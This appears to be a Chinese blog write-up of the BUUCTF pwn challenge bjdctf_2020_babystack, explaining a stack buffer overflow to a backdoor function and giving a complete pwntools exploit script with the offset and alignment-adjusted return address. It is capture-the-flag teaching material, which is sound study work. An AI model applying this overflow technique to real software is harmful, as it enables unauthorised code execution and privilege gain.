Featured image of post BUUCTF-bjdctf_2020_babystack 题解

BUUCTF-bjdctf_2020_babystack 题解

|

题目

题目链接

checksec

这是什么鸭

IDA

这是什么鸭

很显然,由于 nbytes 可以被赋予一个较大的值,使得 buf 可以被溢出。

backdoor

这是什么鸭

思路

利用的栈溢出漏洞覆盖函数返回地址,使之返回到这个后门函数提权即可。

附一个图示:

这是什么鸭

根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击,由于需要栈对齐,其中,backdoor_addr = 0x4006ea ,而不是 backdoor_addr = 0x4006e6

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./bjdctf_2020_babystack')

p.recvuntil(b'name:\n')

payload = b'40'
p.sendline(payload)

p.recvuntil(b'name?\n')

backdoor_addr = p64(0x4006ea)
payload = b'A' * (16 + 8) + backdoor_addr

p.sendline(payload)

p.interactive()
Licensed under CC BY-NC-SA 4.0
最后更新于 2026-04-27 16:14
本博客已稳定运行
发表了40篇文章 · 总计96383字
使用 Hugo 构建
主题 Stack 设计自 Jimmy